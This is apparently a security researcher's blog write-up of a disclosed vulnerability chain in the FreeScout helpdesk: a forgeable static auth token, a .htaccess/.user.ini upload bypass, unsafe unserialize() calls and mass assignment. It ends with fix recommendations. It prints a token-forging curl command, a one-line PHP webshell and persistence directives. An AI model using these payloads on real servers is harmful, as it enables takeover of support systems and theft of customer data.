Back to Blog

FreeScout: From APP_KEY Leak to Full Server Compromise

FreeScout is an open-source helpdesk built on Laravel. It's essentially a self-hosted alternative to Help Scout, and a lot of small businesses run it to handle customer support tickets. I audited the source code and found a chain of vulnerabilities that, combined, give you full server compromise starting from a leaked APP_KEY — something that happens more often than you'd think in Laravel deployments.

The Token Authentication Scheme

FreeScout has a middleware called TokenAuth that authenticates users via a token passed as a URL parameter. Here's how it works:

// app/Http/Middleware/TokenAuth.php
$user = User::where(
    \DB::raw('md5(CONCAT(id, created_at, "'.config('app.key').'"))'), 
    $request->auth_token
)->first();

The authentication token for every user is MD5(user_id + created_at + APP_KEY). Three things are wrong with this:

  1. The token is static. It never changes. Once computed, it's valid forever. There's no expiration, no rotation, no way to invalidate it short of changing the APP_KEY (which breaks everything else in Laravel).
  2. The inputs are predictable. user_id is sequential (admin is usually 1). created_at timestamps are often disclosed in API responses, user profiles, or can be narrowed down to a small window. The only secret is APP_KEY.
  3. APP_KEY leaks are common. Laravel's APP_KEY gets exposed through debug mode (Ignition error pages), .env backup files (.env.bak, .env.old), git repository exposure, phpinfo() pages, or error logs. It's one of the most common findings in Laravel pentests.

If you have the APP_KEY, you can compute a valid auth token for any user:

# Compute admin token (user_id=1, typical created_at format)
echo -n "12026-01-15 10:30:00base64:xxxxxxxxxxxxxxxxxxxxxxxxxx" | md5sum

# Use it
curl -b "in_app=1" "https://target.com/some-endpoint?auth_token=COMPUTED_HASH"

The in_app cookie just needs to exist with any value. That's the only other requirement besides the token.

Unrestricted .htaccess Upload → RCE

FreeScout maintains a blocklist of file extensions that can't be uploaded as attachments:

// app/Misc/Helper.php
public static $restricted_extensions = [
    'php.*',
    'sh',
    'pl',
    'phtml',
    'phar',
];

Notice what's missing: .htaccess and .user.ini. Both of these can reconfigure Apache/PHP at the directory level.

The attack is straightforward:

  1. Upload a .htaccess file as an email attachment with this content:
    AddType application/x-httpd-php .txt
  2. Upload a .txt file containing your PHP payload:
    <?php system($_GET['cmd']); ?>
  3. Access the .txt file through its attachment URL. Apache now treats .txt as PHP in that directory. Shell access.

Any authenticated user can do this — you don't need admin. And if the target runs Apache with AllowOverride enabled (the default in most setups), it works.

The .user.ini variant is even sneakier:

auto_prepend_file = /path/to/uploaded/webshell.txt

This makes PHP automatically include your file before every request in that directory. Persistent, invisible, survives server restarts.

Four Unsafe unserialize() Calls

FreeScout uses unserialize() without the allowed_classes restriction in four places. This means if an attacker can control the serialized data, they can instantiate arbitrary PHP objects and trigger RCE through POP (Property-Oriented Programming) chains. Laravel ships with plenty of gadget chains via Monolog, Guzzle, and SwiftMailer.

1. Failed Job Details

// app/Http/Controllers/SystemController.php:407
$payload = json_decode($job->payload, true);
if (!empty($payload['data']['command'])) {
    $html .= '<pre>'.print_r(
        unserialize($payload['data']['command']), 1  // no allowed_classes
    ).'</pre>';
}

When an admin views failed job details in the system panel, the serialized command payload is unserialized. If you can poison the failed_jobs table (via SQL injection elsewhere, or direct DB access), viewing the job triggers object instantiation → RCE.

2. Helper::decrypt()

// app/Misc/Helper.php:892
public static function decrypt($value, $password = null, $force_unserialize = false)
{
    // ...decrypt...
    if (preg_match("#^[idsa]:#", $value) || $force_unserialize) {
        $value = unserialize($value);  // "safe" because it only matches scalars
    }
}

The comment says it only unserializes scalar types. But a: matches arrays, and arrays can contain nested objects: a:1:{i:0;O:...} matches ^a: and triggers full object deserialization. The regex-based "safety check" is broken.

3. Option::maybeUnserialize()

// app/Option.php:232
public static function maybeUnserialize($original)
{
    if (self::isSerialized($original)) {
        $original = unserialize($original);  // no restriction
    }
}

4. Job Model

// app/Job.php:53
return unserialize($payload['data']['command']);

Same pattern as the failed jobs — but this one processes active jobs, not just failed ones.

Mass Assignment: role in $fillable

The User model has a subtle Laravel gotcha:

// app/User.php
protected $guarded = ['role'];        // line 104
protected $fillable = ['role', ...];  // line 120

In Laravel, when both $guarded and $fillable are defined, $fillable wins. The developer thought putting role in $guarded would protect it, but $fillable overrides that. The role field is mass-assignable.

The main profileSave() controller manually strips role for non-admins, but the Eventy hook user.save_profile passes the full request to third-party modules. Any module using $user->fill($request->all()) enables privilege escalation.

The Full Chain

These aren't just individual bugs — they chain together:

  1. Obtain APP_KEY — debug mode, .env backup, git exposure (extremely common in Laravel deployments)
  2. Compute admin TokenAuthMD5(1 + created_at + APP_KEY), token is valid forever
  3. Authenticate as admin — set in_app cookie + auth_token parameter
  4. Upload .htaccess + webshell — or install a malicious module for cleaner persistence
  5. RCE

Alternatively, without APP_KEY:

  1. Any authenticated user uploads .htaccess + PHP payload as email attachments
  2. Access the attachment URL → shell

Disclosure

Reported to support@freescout.net with full details and CVE requested from MITRE in February 2026.

Fix Recommendations

  • Replace TokenAuth with HMAC-SHA256 + per-session tokens with expiration
  • Add .htaccess, .user.ini, .cgi, .config, .shtml to the restricted extensions list
  • Add ['allowed_classes' => false] to all four unserialize() calls, or migrate to json_encode/json_decode
  • Remove role, password, type, status from User::$fillable — use explicit assignment only